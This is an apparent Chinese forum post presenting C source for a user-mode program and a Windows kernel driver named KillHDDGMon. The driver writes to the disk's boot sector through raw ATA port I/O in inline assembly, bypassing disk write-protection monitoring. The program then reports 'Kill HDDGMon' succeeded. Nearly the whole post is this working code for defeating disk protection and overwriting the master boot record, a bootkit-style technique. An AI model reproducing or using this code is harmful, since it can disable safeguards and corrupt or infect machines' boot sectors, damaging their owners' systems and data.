看流星社区

 找回密码
 注册账号
查看: 2406|回复: 0

DeviceIoCteatol的使用

[复制链接]

该用户从未签到

发表于 2017-6-2 13:28:24 | 显示全部楼层 |阅读模式
应用程序:
DWORD dwBytesReturned = 0;
        BYTE bytBuffer_1[512];
        BYTE bytBuffer_2[512];
        CHAR string[2048];
        HANDLE hDevice, hDriver;
        BOOL bRet;
bRet = DeviceIoControl(hDriver, IOCTL_WRITE, (LPVOID)bytBuffer_1, 512,
                                                        NULL, 0, &dwBytesReturned, NULL);
        if(bRet == FALSE)
        {
                printf("\nFailed - DeviceIoControl - IOCTL_WRITE.\n");
                return 0;
        }
       
        printf("\nWrite MBR using I/O port operations...\n");

        bRet = ReadFile(hDevice, (LPVOID)bytBuffer_1, 512, &dwBytesReturned, NULL);

        if(bRet == FALSE)
        {
                printf("\nFailed - ReadFile - the second one.\n");
                return 0;
        }
       
        printf("\nRead MBR using the ReadFile function...\n");
        printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");

        sprintf(string, "\n");

        for(DWORD n = 0; n < 512; n++)
        {
                sprintf(string, "%s %02X", string, bytBuffer_1[n]);

                if(((n + 1) % 16) == 0)
                        sprintf(string, "%s\n", string);

                if(((n + 1) % 16) == 8)
                        sprintf(string, "%s -", string);
        }

        printf("%s", string);

        printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");

        bRet = DeviceIoControl(hDriver, IOCTL_READ, NULL, 0, (LPVOID)bytBuffer_2, 512,
                                                                        &amp;dwBytesReturned, NULL);
        if(bRet == FALSE)
        {
                printf("\nFailed - DeviceIoControl - IOCTL_READ - the second one.\n");
                return 0;
        }

        printf("\nRead MBR using I/O port operations...\n");
        printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");

        sprintf(string, "\n");

        for(DWORD t = 0; t < 512; t++)
        {
                sprintf(string, "%s %02X", string, bytBuffer_2[t]);

                if(((t + 1) % 16) == 0)
                        sprintf(string, "%s\n", string);

                if(((t + 1) % 16) == 8)
                        sprintf(string, "%s -", string);
        }

        printf("%s", string);

        printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");

        printf("\nSucceed - Kill HDDGMon.\n");
        return 1;
}





驱动:


#include <ntddk.h>

#define        DEVICE_NAME        L"\\Device\\KillHDDGMon"
#define        LINK_NAME        L"\\DosDevices\\KillHDDGMon"

#define IOCTL_WRITE        CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_READ        CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)

VOID Unload(
        __in  struct _DRIVER_OBJECT *DriverObject
        )
{
        UNICODE_STRING ustrLinkName;

        DbgPrint("Driver Unload.....");

        RtlInitUnicodeString(&amp;ustrLinkName, LINK_NAME);
        IoDeleteSymbolicLink(&amp;ustrLinkName);

        IoDeleteDevice(DriverObject->DeviceObject);
}

NTSTATUS DispatchCreateClose(
        __inout  struct _DEVICE_OBJECT *DeviceObject,
        __inout  struct _IRP *Irp
        )
{
        NTSTATUS status = STATUS_SUCCESS;
        KdPrint(("Dispatch CreateClose..."));

        Irp->IoStatus.Status = status;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);

        return status;
}

NTSTATUS DispatchIoctl(
        __inout  struct _DEVICE_OBJECT *DeviceObject,
        __inout  struct _IRP *Irp
        )
{
        NTSTATUS status = STATUS_SUCCESS;
        PIO_STACK_LOCATION pIrpStack;
        ULONG outSize;
        ULONG IoControlCode;
        PVOID pIoBuffer;

        KdPrint(("Dispatch Ioctl..."));

        pIoBuffer = Irp->AssociatedIrp.SystemBuffer;
        pIrpStack = IoGetCurrentIrpStackLocation(Irp);
        outSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
        IoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;

        switch (IoControlCode)
        {
        case IOCTL_WRITE:
                __asm
                {
                        push eax
                        push edx
                        //---------------------------------------------------
                        // 以下代码用I/O端口来写主引导区

                        mov dx,1f6h        // 要读入的磁盘号及磁头号
                        mov al,0a0h        // 磁盘0,磁头0
                        out dx,al

                        mov dx,1f2h        // 要写的扇区数量
                        mov al,1        // 写一个扇区
                        out dx,al

                        mov dx,1f3h        // 要写的扇区号
                        mov al,1        // 写到1扇区
                        out dx,al

                        mov dx,1f4h        // 要写的柱面的低8位
                        mov al,0        // 低8位为0
                        out dx,al

                        mov dx,1f5h        // 要写的柱面的高2位
                        mov al,0        // 高2位为0
                        out dx,al

                        mov dx,1f7h        // 命令端口
                        mov al,30h        // 尝试着写扇区
                        out dx,al

still_going_1:
                        in al,dx
                        test al,8        // 如果扇区缓冲没有准备好的话则跳转,直到准备好才向下执行
                        jz still_going_1

                        pop edx
                        pop eax
                }
                WRITE_PORT_BUFFER_USHORT((PUSHORT)0x1f0, (PUSHORT)pIoBuffer, 256);
                status = STATUS_SUCCESS;
                break;
        case IOCTL_READ:
                if (outSize >= 512)
                {
                        __asm
                        {
                                push eax
                                push edx
                                //---------------------------------------------------
                                // 以下代码用I/O端口来读主引导区

                                mov dx,1f6h        // 要读入的磁盘号及磁头号
                                mov al,0a0h        // 磁盘0,磁头0
                                out dx,al

                                mov dx,1f2h        // 要读入的扇区数量
                                mov al,1        // 读一个扇区
                                out dx,al

                                mov dx,1f3h        // 要读的扇区号
                                mov al,1        // 扇区号为1
                                out dx,al

                                mov dx,1f4h        // 要读的柱面的低8位
                                mov al,0        // 柱面低8位为0
                                out dx,al

                                mov dx,1f5h        // 柱面高2位
                                mov al,0        // 柱面高2位为0(通过1F4H和1F5H端口我们可以确定用来读的柱面号是0)
                                out dx,al

                                mov dx,1f7h        // 命令端口
                                mov al,20h        // 尝试读取扇区
                                out dx,al

                                still_going_2:
                                in al,dx        // 扇区缓冲是否准备好
                                test al,8        // 如果扇区缓冲没有准备好的话则跳转,直到准备好才向下执行。
                                jz still_going_2       

                        /*        mov cx,512/2        // 设置循环次数(512/2次)
                                mov di,offset buffer
                                mov dx,1f0h        // 将要传输的一个字节的数据
                                rep insw        // 传输数据                */

                                //---------------------------------------------------
                                pop edx
                                pop eax
                        }
                READ_PORT_BUFFER_USHORT((PUSHORT)0x1f0, (PUSHORT)pIoBuffer, 256);
                status = STATUS_SUCCESS;
                }
                else
                {
                        Irp->IoStatus.Information = 0;
                        status = STATUS_BUFFER_TOO_SMALL;
                }
               
                break;
        }
        Irp->IoStatus.Status = status;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);

        return status;
}


NTSTATUS DriverEntry(
        __in  struct _DRIVER_OBJECT *DriverObject,
        __in  PUNICODE_STRING RegistryPath
        )
{
        NTSTATUS status = STATUS_SUCCESS;
        UNICODE_STRING ustrDevName;
        UNICODE_STRING ustrLinkName;
        PDEVICE_OBJECT        pDevObj=NULL;

        DriverObject->DriverUnload = Unload;
        DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
        DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
        DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl;

        RtlInitUnicodeString(&amp;ustrDevName, DEVICE_NAME);
        status        = IoCreateDevice(DriverObject, 0, &amp;ustrDevName, FILE_DEVICE_UNKNOWN, 0,FALSE, &amp;pDevObj);
        if (!NT_SUCCESS(status))
        {
                return status;
        }
        RtlInitUnicodeString(&amp;ustrLinkName, LINK_NAME);
        status = IoCreateSymbolicLink(&amp;ustrLinkName, &amp;ustrDevName);
        if (!NT_SUCCESS(status))
        {
                IoDeleteSymbolicLink(&amp;ustrLinkName);
                return status;
        }

        return status;
}
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-3-19 13:08

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表